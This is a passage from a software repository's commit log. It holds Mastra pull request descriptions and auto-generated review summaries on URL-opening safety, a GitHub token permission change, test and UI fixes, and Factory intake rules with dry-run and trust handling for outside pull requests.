encoding of shell metacharacters. The test contents were not inspected
in this review.
- **`.changeset/safe-browser-open-url.md`** (+5)
- Adds a `mastra` patch changeset. It describes the HTTP(S)-only
behavior and the Windows change.

### Behavior notes

- Callers receive an error for rejected URLs. The PR objectives state
that callers catch errors and show the URL for manual opening.
- The public signature changes only in its parameter name, from `url` to
`rawUrl`.

### Validation

The PR objectives report these results. They were not re-run in this
review.

- `vitest run src/commands/auth src/commands/connect
src/commands/gateway`: reported as passing.
- `tsc --noEmit` for `packages/cli`: reported as clean.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

Co-authored-by: mastra-platform[bot] <mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: mastra-platform[bot] <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-16 16:32:13 -05:00
mastra-platform[bot]
7f1f8a8ec6
Let Factory sessions push GitHub Actions workflow changes (#30584)
## Summary

Factory sessions couldn't push any change to `.github/workflows/*`
files. GitHub rejected those pushes with `refusing to allow a GitHub App
to create or update workflow ... without workflows permission`, even
though the Mastra GitHub App installation grants Workflows read & write.

The cause is in `REPOSITORY_TOKEN_PERMISSIONS`. The Factory narrows
every installation token it mints to that set, and the set didn't
include `workflows`. This PR adds `workflows: 'write'` to it.

The Platform token-mint route already treats `workflows` as a
collaborator permission. Like `contents: write`, it needs push access on
the repository, so the user role checks don't change.

## Tradeoffs / risk

- **Wider blast radius.** Every Factory session token can now change CI
workflows, which run with repository secrets. Before, a session could
change code but not workflows.
- **Unapproved installations.** GitHub refuses to mint a token that asks
for a permission the installation hasn't granted. If an installation
hasn't accepted the Workflows permission, minting fails for it until an
owner approves the updated permissions on GitHub.

## Test plan

- [x] `vitest run src/integrations/platform/github/integration.test.ts`:
60 passed, with the expected mint payloads updated.
- [ ] After deploy, push the SEC-250 workflow-hardening branch from a
Factory session.

Ref SEC-250

Co-authored-by: mastra-platform[bot] <mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: mastra-platform[bot] <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-16 13:25:48 -08:00
Arthur Fiorette
09e48ffc4d
test(core): give the goal step test's workflows store supportsRunJournal (#30571)
## Description

Adds `supportsRunJournal` to the mock `workflows` store in
`goal-step.test.ts`.

Since #29370, `Workflow.createRun` calls `supportsRunJournal()` on the
workflows store for every run. The test builds its own store with only
`getWorkflowRunById`, `deleteWorkflowRunById` and
`persistWorkflowSnapshot`, so the goal judge's agent threw
`workflowsStore?.supportsRunJournal is not a function` and the goal was
parked as `paused`. That fails 13 cases in the file on `main` and on
every PR that includes that change (for example `expected 'paused' to be
'done'`). Real storage adapters extend `WorkflowsStorage`, which defines
the method, so only the mock was affected.

The mock returns `false` because it has no journal, so runs take the
snapshot path the test already mocks.

### Tests

`npx vitest run src/loop/workflows/agentic-execution/goal-step.test.ts`
in `packages/core`:

- Before: `Tests  13 failed | 17 passed (30)`
- After: `Tests  30 passed (30)`, stable over three runs

`npx vitest run src/loop/workflows/agentic-execution/` also passes:
`Test Files 18 passed (18)`, `Tests 379 passed (379)`.

## Related issue(s)

None.

## Type of change

- [ ] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Code refactoring
- [ ] Performance improvement
- [x] Test update

## Checklist

- [ ] I have linked the related issue(s) in the description above
- [ ] I have made corresponding changes to the documentation (if
applicable)
- [ ] I have added tests that prove my fix is effective or that my
feature works
- [ ] I have addressed all Coderabbit comments on this PR


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

**ELI5:** A test helper was missing a method that the code now expects.
This change adds the missing method so the test runs the expected path
and stops failing.

## Summary

This change updates the test mock for the workflows store in
`packages/core/src/loop/workflows/agentic-execution/goal-step.test.ts`.
It adds one line, a `supportsRunJournal()` method that returns `false`.
The diff adds 1 line and removes 0.

## Why

`Workflow.createRun` checks whether the store supports run journaling
for every run. The mock did not implement this method. The goal judge's
agent failed as a result, and 13 test cases failed. With
`supportsRunJournal()` returning `false`, runs use the snapshot path,
which the test already mocks.

## Test results

The author reports these results. I did not verify them against a
completed check on the current head.

- `npx vitest run
src/loop/workflows/agentic-execution/goal-step.test.ts`: 13 failed and
17 passed before the change. 30 passed after the change, stable across
three runs.
- `npx vitest run src/loop/workflows/agentic-execution/`: 18 test files
and 379 tests passed.

## Scope

- Production code: no change.
- Exported or public declarations: no change.
- Review effort: low.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-11-16 17:46:08 -03:00
mastra-platform[bot]
1d795bd423
fix(factory-ui): fix provider search field height (#30563)
> Opened by @DSchau

## Summary
The search field in the Factory "Add provider" drawer rendered as a
giant pill filling most of the drawer instead of a normal-height input.

**Cause:** `SearchInput`'s root (`InputGroup`) has `flex-1` so it fills
a row. The drawer body is `flex flex-col`, so `flex-1` grew the field
vertically instead.

**Fix:** give the drawer's `SearchInput` `className="flex-none"` so it
keeps its normal control height (30px), matching other inputs. No
design-system changes.

## Test plan
- [x] `vitest run src/ui/domains/settings/components/models/providers`
in factory-ui — 21 passed
- [x] Rendered the same layout headlessly: field height 360px before →
30px after

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

**ELI5:** The search box in a settings panel got too tall and took up
most of the panel. This change keeps the search box at its normal
height.

## Summary

This pull request changes one line in
`mastracode/factory-ui/src/ui/domains/settings/components/models/providers/AddProviderDrawer.tsx`.
The provider search input receives the `flex-none` class. The diff adds
one line and removes none.

## Cause

The drawer body uses a flex-column layout. The `SearchInput` root
(`InputGroup`) has `flex-1`. In a column layout, `flex-1` lets the field
grow vertically. The field then fills most of the drawer.

## Change

- Adds `className="flex-none"` to the drawer's `SearchInput`.
- Keeps the field at its normal control height.
- Does not change the design-system `InputGroup` component.

## Reported verification

The PR author reports these results. The reviewer did not confirm them
from the current head:

- `vitest run src/ui/domains/settings/components/models/providers`
passed 21 tests.
- A headless layout render measured the field at 360px before the change
and 30px after.

## Alterations to public declarations

None.

## Review effort

Low.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: mastra-platform[bot] <mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: mastra-platform[bot] <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-16 11:49:09 -08:00
Ward Peeters
5edafc624f
Factory: one Rules page per board, intake order and Not routed in Settings (#30507)
## Stack

`main` ← #30370 intake order ← #30373 card events (2a) ← #30491
actions/trust (2b) ← #30380 dry run + tester ← **this PR (wave 3: UI)**

Base is `feat/factory-intake-dry-run` at `c6a9a823ec8`. Retarget as the
PRs below it merge.

## What

Each board's intake rules and card moves now live on one **Rules** page,
and Settings → Intake gets the intake order and the Not routed list.
This is decision D20: rules and card moves were already one table split
by event, so the UI shows them as one list per event.

**Board → Rules** (`/boards/:id/rules`, `/work/rules`; old `/moves`
links redirect)
- One lane per event, in the order of `STATUS_EVENTS`. The opened lane
comes first and shows "No card yet", where the board sits in the intake
order (linked) and the fallback "Otherwise: checked by the next board,
then Not routed". The reopened and updated lanes say "Also files items
with no card."
- Each rule reads as conditions → destination. The first match wins. A
rule under a catch-all is marked "Never reached", a rule that's off
reads "Off, skipped", and a rule's server `problems` are shown as
warnings.
- Rules are added and edited in a step-by-step dialog: trigger, then
conditions, then board › phase, then review. Card-move rules can pick
another board, which is saved as `moveToBoardKey` while the rule stays
on this board. Rules that file items with no card only offer this board.
- Conditions include `item.trusted`, `pullRequest.trusted` and, on
update events, `event.labels.added/removed` and
`event.assignees.added/removed`.
- **Skipped rules**: a card-move rule whose target couldn't take the
card shows "Skipped N times in the last 30 days: <reason>" with a link
to the latest item.
- **Test an item** opens `IntakeTesterPanel` in a dialog.
- Rules can be reordered by drag on desktop or with up/down buttons on
touch, switched off, or deleted. Reorders send `boardKey`, so only this
board's rows change.

**Settings → Intake**
- Sources are unchanged.
- **Intake order**: drag or up/down to reorder, with a preview before
Save or Discard. Each board shows its count of rules for new items, an
"Ends in catch-all" badge and an "Edit rules" link. Shows whether the
order is derived or explicit, and the old-vs-new comparison from the
response.
- **Not routed**: paged with "Load more". "Why?" opens the tester on the
item, and "Route again" files it.
- The Factory-wide routing editor ("Where new cards go") and the "Send
new cards to" retarget control are removed, along with
`previewReroute`/`applyReroute` in the UI.

**Board config**: the "New items" summary line reads "2 rules for new
items · Checked 2nd", with an "Edit rules" link.

**Server (small)**: `GET /web/factory/projects/:id/intake/skipped` reads
the `rule_skipped` decisions that #30491 writes. It returns, per rule,
the 30-day count and the newest skip. Storage gets
`summarizeSkippedByRoute`, and the CLI route metadata is regenerated.

## Not in this PR
- Per-rule dry-run counts ("takes 6 · lost 3 to Ship") on the Rules
page: wave 4.
- The linked-PR list on card detail with the trusted badge and "Use this
pull request".

## Tests
- MSW: `BoardRules.msw.test.tsx` (lanes, add above the catch-all,
board-scoped reorder, cross-board move body, server refusal kept inline,
stale revision, off, member view, skip warning),
`IntakeOrderSection.msw.test.tsx` (order, preview/discard/save,
comparison copy, member view, Not routed paging, Route again, tester
from "Why?"), `NewCardsHere.msw.test.tsx`, plus the updated board
config, custom board and new-board tests.
- Unit: `ruleLanes`, `ruleTargets`, condition fields (change facts).
- Factory: storage `summarizeSkippedByRoute` (window, paging, newest
skip, other projects) and route `GET /intake/skipped`.
- Gates: factory-ui typecheck, lint, unit (702) and build all pass. MSW
has the same 29 failures as the base (checked on `db194d5a104`; on
`c6a9a823ec8` the touched suites only fail the same OM and memory tests)
(AppStartup, OM, memory, transcript and others). One extra
ThreadPageRail failure passes on its own, so it's a flake. Factory
passes `check`, `build:lib` and type-aware oxlint on the changed files.



<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

ELI5: Each Factory board now has one Rules page. The page lists the
rules that decide which new items go to that board. Settings now control
the order in which boards check new items.

## Summary

This pull request replaces the per-board Card moves page with a Rules
page. It also moves intake order and the unrouted-item list into
Settings → Intake. It adds an endpoint that reports skipped rules.

### Board Rules page

- Adds `BoardRules`. It shows rule lanes for each event, grouped under
Issues and Pull requests. Each lane lists its rules in order.
- Adds `RuleLane`, `RuleBuilderDialog`, `ConditionChips`, `RuleTarget`,
and `ChoiceTile`.
- Adds `ruleLanes.ts` for lane definitions, event labels, arrival lanes,
catch-all and shadowing logic, and intake position. Adds
`ruleTargets.ts` for phase and board helpers and `reorderWithin`.
- Each rule shows its conditions and destination. Rules after the first
catch-all are marked unreachable.
- Users can add, edit, reorder, enable or disable, and delete rules.
- The rule builder limits cardless events to the current board. A
card-move rule can target another board.
- The rule builder limits new-item rules to non-terminal phases
reachable from the board's initial phase.
- On a stale-revision save failure, `BoardRules` reloads the rule and
reopens the editor with the latest revision. If the rule was deleted, it
closes the editor and reports an error.
- `work_item.created` is treated as a legacy arrival event. Its rules
appear in both the `work_item.opened` and `pull_request.opened` lanes.
- Each lane shows skip counts and reasons for the last 30 days. It links
to the latest skipped item when a URL is available.
- The page opens the intake tester through `IntakeTesterDialog`.
- `BoardRulesPage` replaces `CardMovesPage`. The router sends
`/work/moves` and `/boards/:boardId/moves` to the matching `rules` path.
- `boardConfigPaths` replaces `moves` with `rules`. `boardCardMovesPath`
is renamed to `boardRulesPath`.

### Settings → Intake

- Adds `IntakeOrderSection`. It shows the saved board order and, for
each board, the count of enabled new-item rules and whether a catch-all
rule exists.
- Users reorder boards by drag-and-drop or arrow buttons. Changes stay
in a draft until saved or discarded.
- The section compares the order with the previous route-list evaluator.
- Adds `NotRoutedSection`. It shows a paged list of unrouted items. Each
item has a "Why?" dialog. Users can route an item again when editing is
allowed.
- Removes `IntakeRoutesSection`, `intakeRoutes.ts`, and their tests.
This removes the Factory-wide routing editor, the reroute preview and
apply helpers, `RerouteMove`, and `sendNewCardsTo`.
- `NewCardsHere` on the board config page shows the count of enabled
new-item rules and the board's intake-order position. The count covers
rules reached across both arrival lanes.
- `settingsSections.ts` replaces `NEW_CARD_ROUTES_ANCHOR` with
`INTAKE_ORDER_ANCHOR` and `NOT_ROUTED_ANCHOR`.

### Skipped-rule endpoint

- Adds `GET /web/factory/projects/:id/intake/skipped`. It returns, for
each card-move rule skipped in the last 30 days (`SKIPPED_WINDOW_MS`),
the route ID, skip count, and newest skip.
- Adds `StoredBoardsStorage.summarizeSkippedByRoute`. It reads
`rule_skipped` decisions newest first, in pages of 500 by default. It
omits rows without a route ID.
- Adds the `intakeSkippedList` route contract, a README entry, and a
changeset for `@mastra/factory`.
- Adds the `factory intake skipped` CLI command, mapped to
`intakeSkippedList`. The CLI route metadata is regenerated.

### Hooks and API client

- `useIntakeOrder.ts` adds `useIntakeOrderQuery`, `useSaveIntakeOrder`,
`useNotRoutedQuery`, `useRouteAgain`, and `useSkippedRulesQuery`.
- `useIntakeRoutes.ts` adds `useBoardRulesQuery`. It removes the reroute
helpers. `sendRouteRequest` accepts `PUT`. `RouteWrite` reorder
operations accept an optional `boardKey`.
- `queryKeys` adds `intakeOrder`, `intakeSkipped`, and
`intakeNotRouted`.

### Other changes

- `conditionFields.ts` adds label and assignee change facts for
`work_item.updated` and `pull_request.updated`. It also changes the
synchronized pull-request label from "PR updated" to "PR got new
commits."
- `useBoardIntakeSetup.ts` uses `placesArrival` in place of
`placesNewCards`.
- Adds a changeset for the `mastra` package.

### Testing

- The author reports that factory-ui typecheck, lint, unit tests (702),
and build pass.
- The author reports that Factory checks, `build:lib`, and type-aware
oxlint on changed files pass.
- The author reports 29 MSW failures. The author states that the same
failures occur on the base. The stated base revision varies in the
author's comparison.
- The author reports that one ThreadPageRail test fails in the full run
and passes alone. The author treats it as a flake.
- Not available: independent results from a review run of these checks.

### Out of scope

- Per-rule dry-run counts.
- The linked-PR list on card detail.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-16 20:39:23 +01:00
Ward Peeters
54606fbfbb
feat(factory): dry run intake rules and test where an item would go (#30380)
> **Stack:** #30370 (intake order) → #30373 (card events) → #30491 (card
actions) → **this PR** → Wave 3 pages. Base is
`feat/factory-card-actions`.

## What

Shows admins where intake would file items before they change any rules.
This adds two read-only endpoints and the client pieces to use them:

- **Dry run** (`POST /web/factory/projects/:id/intake/dry-run`) runs the
saved rules, or a draft of them plus an optional board order, over the
project's newest 200 items. Those items are cards from a source plus
unresolved Not routed arrivals, read from stored facts with no refetch.
For each board and rule it reports what it takes and what it lost (and
to which board), how many items it filed in the last 30 days (from
`factory_intake_decisions`), and which items no board takes. With a
draft it also reports how many items would land somewhere new
(`changed`) and where each one landed before (`before`).
- **"Where would this go?" tester** (`POST
/web/factory/projects/:id/intake/test`) takes a recent item id or a URL
and returns the landing (or why nothing takes it) plus a board-by-board,
rule-by-rule trace: `took`, `lost` (with the winner), `no_match` (each
failed condition with the item's actual value), `phase_refuses`, or
`disabled`.

- **Card moves in the tester:** on a card, the tester also replays its
10 newest status events (opened, updated with the labels/assignees that
changed, reopened, closed, pull request events), plus one `event` sent
in the request, through the card-move rules on its board, replayed
against the card's current phase and facts (`card.phase`,
`item.trusted`, and the event's own `pullRequest.trusted`). Each replay
answers `moves` (board, phase, rule), `stays`, `rule_default` (no rule
handles it, so the integration's own move applies) or `ignored` (e.g.
reopening a card that isn't finished), with every rule's answer: `took`,
`lost`, `no_match` with failed conditions, `skipped` (target board/phase
can't take the card) or `disabled`.

Both use the same code filing uses: `resolveByIntakeOrder` is now
`traceIntakeOrder(...).resolution`, and `evaluateRuleGroup` is now
`explainRuleGroup(...).matched`, and the dispatcher now moves cards
through `planEventMove`, which the tester replays (`resolveEventRoute`
is `traceEventRoute(...).move`). The dispatcher still logs skipped
card-move rules as `rule_skipped` decisions; the tester only reports
them. Pending `updated` events replay the way the dispatcher acts on
them. A burst is folded into its newest event using the dispatcher's own
fold (`rules/update-fold.ts`: `updateGroup`/`foldUpdate`, now used by
the dispatcher too). A burst that nets out to no change answers
`ignored`. To read one card's decisions without scanning the project's
decisions, this adds an additive index,
`factory_deferred_decisions_tenant_work_item_idx` (org, project,
`work_item_id`, `created_at`). The dispatcher's fold and overtaken-event
checks use it too.

Neither endpoint writes anything: no decision rows, no cards, no audit
events, no provider writes. The tests check this.

**Issues and pull requests arrive apart (D21).** A rule files issues on
`work_item.opened`, card-less pull requests on `pull_request.opened`,
and both on the legacy `work_item.created`. The trace asks the same
question filing does. A rule passed over for the other kind answers
`no_match`, and the failed condition shown is the `source.kind` it saw.

Both responses carry `evaluator`, the evaluator that actually files the
project. The panel warns when that isn't `intake-order`.

### Access and URL lookups
- Members can dry-run or test the saved rules. Running a draft (`boards`
or `order`) requires the role that edits rules. A draft faces the same
checks as saving it: a phase its board doesn't have (`422
unknown_phase`), an order that misses or invents a board (`422
intake_order_set_mismatch`), or two rules sharing an id (`422
intake_draft_rule_id_repeated`).
- A URL on a card resolves to that card. This holds for any source the
card holds, such as a pull request linked to an issue card. A URL of a
recent Not routed item is read again from its provider when it can be,
since a label or a reopen takes the item in again with the facts it has
now. When the provider can't be read, the stored arrival answers.
- A fetched pull request is tested as a new arrival. Its `note` says
that if it closes an issue with a card, or comes from a card's branch,
filing joins it to that card instead.
- GitLab reads go through the host's active connection, and looked-up
GitLab issues keep their open or closed state.
- An unseen URL is read once, and only from a GitHub repository or
GitLab project linked to that project, using that link's credentials.
Any other URL returns `422 not_linked` before any fetch happens.
- **Linear, Jira and incident.io** items are tested by picking a recent
item (`itemId`), not by URL.

### Also
- `mastra api factory intake dry-run|test` CLI commands and regenerated
route metadata.
- factory-ui: `useIntakeDryRunQuery` / `useIntakeDryRunPreview` /
`useIntakeTest` hooks, copy helpers (`takes 6`, `lost 3 to Ship`, board
summaries), and a minimal `IntakeTesterPanel` in its own files so the
Wave 3 pages can mount it.

### Known gaps
- **Replays run against the card's current phase and facts** (this is
intended, and the panel says so). No card snapshot is kept per event, so
an event that already moved the card replays from where it ended up. A
pending event replays exactly.
- **Under the old `route-list` evaluator:** both endpoints answer for
intake order. The response's `evaluator` says so, and the panel warns
about it.
- **`closedIssue.*` facts on PRs:** these aren't stored on cards, so the
dry run reads PRs without them.

## Tests
Scenario and route tests run on LibSQL and Postgres and compare the
tester's answer against real filing or dispatch:
- **Dispatcher scenarios** (`dispatcher-intake-routes.test.ts`):
- The dry run reports the exact board, phase and rule the dispatcher
filed each of 7 arrivals with.
- The tester predicts 8 pending card moves before dispatch
(`moves`/`stays`/`ignored`/`rule_default`), and dispatch then makes
exactly those.
- Update bursts fold as dispatch folds them, including after a move that
committed but never finished.
  - **D21:**
- A new project's card-less pull request goes to Work › PR review, or to
Intake from an outside author.
- An older project's legacy `work_item.created` rule still files pull
requests, and an issue-only rule is shown passed over.
- A Not routed pull request is filed once it is labelled or reopened,
where the tester says.
- A label change on a pull request card moves it by a
`pull_request.updated` rule.
    - An issue card goes to PR review when its own pull request opens.
- **Route tests** (`intake-check.test.ts`):
  - Access and the 422s above.
  - Drafts, traces, attached-source URLs, and URL lookup refusals.
  - Long bursts of pending updates replay cheaply.
  - A storage snapshot proves nothing is written.
- **Table tests:**
- `explainRuleGroup` agrees with `evaluateRuleGroup` on every existing
case plus an operator × facts × shape matrix.
- Trace verdicts: `no_match`, `disabled`, `lost`, `phase_refuses`,
`skipped`.
  - The dry-run sample.
- **Storage:**
  - `countPlacedByRoute` and `listRecentNotRouted`.
  - The new index is in the query plan on both backends.
- **Lookups:** GitHub and GitLab lookups run against real source-control
storage.
- **factory-ui MSW:**
- The tester panel: rule answers, card moves, retesting the open item
against an edited draft, and the evaluator notice.
  - The dry run refreshes after a rule write.
- **Removed:** 5 unit tests that compared the tracer or dry run to
itself (filing now calls the same code) or that the scenarios and route
tests above cover. The commit message names what covers each.
- **Net test lines vs `feat/factory-card-actions`:** +1671 −1 (+1670,
including this round's review tests). The dry run and tester are proven
by two scenario tables in `dispatcher-intake-routes.test.ts`, each row
predicted by the tester and then filed or dispatched for real: 6 arrival
rows and 11 card-move rows. Route tests cover only HTTP behaviour; unit
tests are short pure tables.
- **Gates:**
- Passing: `build:lib`, `check`, `oxlint --type-aware`, `oxfmt`, CLI
225/225.
- Domain suites: the only failures are in files that fail the same way
on the base branch's sources (`config`, `fs`, `projects-concurrency`,
`session-model-catalog`, `routes/intake`, `storage/domains/intake/base`,
`retired-columns`).
- factory-ui: typecheck and lint are clean, and the intake and settings
intake tests pass.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

**ELI5:** This change lets users check their factory intake rules before
they use them. The system shows where recent items would go and traces
one item through the rules. These checks do not file cards or save
decisions.

## Overview

This pull request adds read-only intake checks to the factory. It adds:

- A **dry run** that evaluates saved or draft intake rules and optional
board order against the newest 200 items.
- A **tester** that traces one item through intake rules. The item comes
from a URL or an item ID. For cards, it also replays recent status
events through card-move rules. It accepts an optional simulated event.

The change spans 42 files, with 5,294 lines added and 151 removed. The
base branch is `feat/factory-card-actions`.

## Changes by area

**Routing and evaluation (`@mastra/factory`)**
- `intake-routing.ts` adds `traceIntakeOrder`. It records a verdict for
each route in board and route order. It stops at the winner unless
`full` is set. It also adds an arrival-kind failure explanation.
- `intake-routing.ts` adds `traceEventRoute` and `planEventMove`.
`planEventMove` classifies an event as `moves`, `stays`, `rule_default`,
or `ignored`.
- `resolveEventRoute` now returns an `EventMove` and uses the trace
function.
- `IntakeRoute` gains an optional `name`.
- `rule-group.ts` adds `explainRuleGroup`. It reports failed leaf
conditions with their observed facts. `evaluateRuleGroup` returns the
`matched` value from that result.
- `update-fold.ts` adds `updateGroup`, `updateSuperseded`, `foldUpdate`,
and `eventRouteIngress`.
- `dispatcher.ts` uses `planEventMove` for status events. It uses
`updateGroup` and `foldUpdate` for pending update folding. It removes
its earlier inline folding and eligibility logic.
`FOLDABLE_UPDATE_STATUSES` moves to `update-fold.ts`.

**Dry run and tester**
- `intake-dry-run.ts` adds `intakeSample` and `dryRunIntake`.
`intakeSample` merges recent cards and unrouted decisions, deduplicates
them by source key, and sorts them newest first. `dryRunIntake` reports
placements, per-board and per-rule results, and unrouted keys. With a
baseline, it reports items whose placement changed.
- `routes/intake-check.ts` adds the `IntakeCheck` class with `dryRun`
and `test` methods. It also adds `IntakeCheckRefusal`.
- Draft boards or orders that are unknown, invalid, duplicated, or
incomplete return 422. An order that is missing or invents a board
returns `422 intake_order_set_mismatch`. Duplicate route IDs are
refused.
- The tester resolves items from project cards, unrouted decisions, or
provider lookups. A URL already on a card reads that card's stored
facts.
- A fetched pull request is tested as a new arrival. If it could join an
existing card, the response adds a note. The tester does not evaluate
those joins.
- Events on non-card items return 422 before any provider lookup.
Missing items return 404. Unlinked URLs return 422 with `not_linked`.
Unsupported URLs return 422.
- Dry runs count route placements over the preceding 30 days.
- `routes/intake-routes.ts` adds the dry-run and test endpoints. Both
use a shared `#check` helper. Dry-run responses include `canEdit`.
`IntakeRouteRoutesDeps` gains `listDeferredDecisions` and optional
`intakeLookups`.
- `routes/contracts.ts` adds request and response schemas and the
`intakeDryRun` and `intakeTest` route contracts.
- `routes/surface.ts` passes an intake lookup only when its integration
is ready and defines `intakeLookup`.

**Item lookup**
- `intake-lookup.ts` adds the `IntakeItemLookup` contract and
`lookupIntakeItem`. Providers are checked in order. The first provider
that recognizes the URL returns the result. If none does, the result is
`unsupported`.
- `FactoryIntegration` gains an optional `intakeLookup`.
- `githubIntakeLookup` matches issue and pull-request URLs to linked
repositories. It returns `not_linked` or `not_found` where applicable.
Issue URLs are read as issues first, then as pull requests.
- `gitlabIntakeLookup` matches issue, work-item, and merge-request URLs
to linked projects on the same host. It returns `undefined` for invalid
URLs and `not_linked` or `not_found` where applicable.
- `GithubIntegration` and `GitLabIntegrationBase` expose `intakeLookup`.
`GitLabIntegrationBase` also adds `readWorkItem`.
- `trustedCollaborator` accepts a narrower type. `mergeRequestSourceKey`
is now exported.
- URL lookup covers only GitHub and GitLab sources linked to the
project. Linear, Jira, and incident.io items are tested from recent
items by item ID.

**Storage**
- `listRecentNotRouted` returns recent unresolved `not_routed`
decisions, newest first.
- `countPlacedByRoute` counts placed decisions with a route ID over a
time window. It pages newest first.
- `listDeferredDecisions` accepts an optional `newest` limit. A
composite index on `factory_deferred_decisions` covers `(org_id,
factory_project_id, work_item_id, created_at)`.

**CLI and API client**
- The `mastra api factory intake` command group adds `dry-run` and
`test` actions. `dry-run` accepts optional JSON input. `test` requires
JSON input.
- The Factory API descriptor map adds `factoryIntakeDry-run` and
`factoryIntakeTest`.
- The factory-ui adds the `intakeDryRun` query key, the four request and
response types, and the `useIntakeDryRunQuery`,
`useIntakeDryRunPreview`, and `useIntakeTest` hooks.
- `sendRouteRequest` is now exported.

**Factory UI**
- `IntakeTesterPanel` tests a URL or an item ID. It accepts an optional
board and order draft. It shows a notice when the response evaluator is
not `intake-order`.
- `intakeCheckCopy.ts` adds helpers that format dry-run summaries, rule
verdicts, failed conditions, event labels, and card-move outcomes.

**Documentation and changesets**
- The factory README documents `POST /intake/dry-run` and `POST
/intake/test`.
- Two changesets cover the `@mastra/factory` and `mastra` releases.

## Behavior notes

- Dry runs and tests do not write decisions, cards, audit events, or
provider data. The PR text says so. The tests check it.
- Card events replay against the card's current phase and facts.
- Under the `route-list` evaluator, both endpoints still answer using
intake order. The panel warns that filing uses `route-list`.
- Pull request dry runs do not include `closedIssue.*` facts.
- Members can preview saved rules.
- Draft previews require elevated access. The PR text names the
rule-editing role. The route summary names organization-admin access.
The exact check is not confirmed.

## Verification

Author-reported results. These were not checked against CI.

- Tests reported: scenario and route tests on LibSQL and Postgres that
compare predictions with filing or dispatch. Route tests cover access,
validation, URL behavior, and read-only behavior. Storage, lookup, and
factory-ui MSW tests are also reported.
- Gates reported as passing: `build:lib`, `check`, `oxlint
--type-aware`, `oxfmt`, and CLI tests (225/225).
- Factory-ui typecheck and lint are reported clean. Intake and settings
intake tests are reported passing.
- Domain-suite failures are reported only in files that fail the same
way on the base branch.
- Current CI status: not available.
- Review finding counts: not available.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-16 20:39:23 +01:00
Ward Peeters
3801329cdb
Link pull requests to their issue's card, keep outsiders' pull requests idle until picked, and move cards across boards (#30491)
**Stack:** #30370 → #30373 → **this** → #30380 → Wave 3. Base is
`feat/factory-card-events` (#30373); review only the commits above it.

## What this does

Factory boards move cards with rules. This PR makes three things work
that didn't:

1. **A pull request that closes an issue links to that issue's card on
its own**, whoever opened it and whichever board the card is on, as long
as the card isn't finished. Linking moves nothing by itself. The card
gets a `pull_request.opened` event, and board rules decide what happens.
A new default rule, *Trusted pull requests take a waiting issue to
Review*, moves a waiting card to Review when the pull request's author
is trusted. Stored routes that used to "join" pull requests to cards are
switched off but kept for history. Creating a new one is refused with
`422 join_retired`.

2. **Nothing runs on an outside author's pull request until a person
picks it.** An outsider's linked pull request:
   - is marked untrusted on the card;
   - never becomes the card's working pull request automatically;
- can't trigger re-reviews, and moves the card through its opening,
reopening, pushes, updates or review requests only by a card-move rule
that tests `pullRequest.trusted` (rules that don't test it skip it);
   - doesn't send its comments to the card's sessions.

Its merge or close still moves the card. A person picks it with `PUT
/web/factory/projects/:id/work-items/:workItemId/working-pull-request`
(`{ pullRequest, expectedRevision }`). The endpoint returns `422
pull_request_not_linked`, `422 pull_request_not_open` or `409` on a
stale revision. Picking a pull request lets Factory work on it but
doesn't make its author trusted. When the working pull request closes
unmerged, the card falls back to its first trusted open pull request,
never an outsider's.

3. **Card-move rules can send a card to another board.** Set
`moveToBoardKey` on a route's target. The card keeps its id, history and
sessions. The old phase's sandbox stops, and the target phase's runner
starts. The old board's `nextPhases` don't restrict the move. If the
target can't take the card, the rule is skipped and the next rule is
tried. The skip is recorded in the intake decision log with outcome
`rule_skipped`. Rule moves don't chain.

**Trust in rules:** `item.trusted` replaces `author.trusted`, and rules
saved with the old name still read correctly. The new
`pullRequest.trusted` tests the event's pull request author, or the
author of the card's working pull request when the event isn't about a
pull request. The dispatcher still re-checks trust before anything runs.

**Factory UI:** condition pickers offer *Author trust* (`item.trusted`)
and *Pull request author trust* (`pullRequest.trusted`). New routes no
longer offer joining. On a stored join route, the switch can only turn
joining off. The cross-board *Move to board › phase* picker is left for
Wave 3 (D20, one Rules page per board); the API supports it now.

## Known limits

- When a card's working pull request settles, the next one is picked by
branch name among trusted pull requests only. It doesn't check which
repository or project the branch comes from, because linked pull
requests don't record that. A trusted person's fork pull request on the
card's branch name can therefore become the working pull request. That
needs write access, so it isn't a security issue; an outsider's pull
request is never picked this way.

## Overlaps with the stack

- #30370: `storage/domains/boards/base.ts` (default-route seeding and
retiring join routes), `boards/schemas.ts` (adds the nullable
`move_to_board_key` column), and `boards/intake-order.ts` (route type
narrowed so routes carrying `moveToBoardKey` type-check).
- #30373: `boards/board-events.ts` and `rules/validation.ts`. Board
events carry `pullRequestTrusted` and `closedIssue` alongside 2a's
`labels` and `assignees`. `eventRuleFacts` is merged into the facts
card-move rules test. Label and assignee changes on a linked pull
request carry that pull request's trust. `author.trusted` is dropped
from 2a's legacy picker list because it's renamed, not retired.

## Test plan

- Each behaviour above was tested failing first, on LibSQL and on a
throwaway Postgres 16:
  - moving a card to another board (same id, sandbox stops, one run);
  - two boards moving a card to each other moves it once per event;
  - an outsider's pull request links untrusted and nothing runs;
- comments, pushes and review requests on an outsider's pull request
reach nothing;
  - merging an outsider's pull request still finishes the card;
  - once a person picks the pull request, it gets reviewed;
- a stale working pull request falls back to the first trusted open one;
- label changes on a linked pull request carry its trust (GitHub and
GitLab);
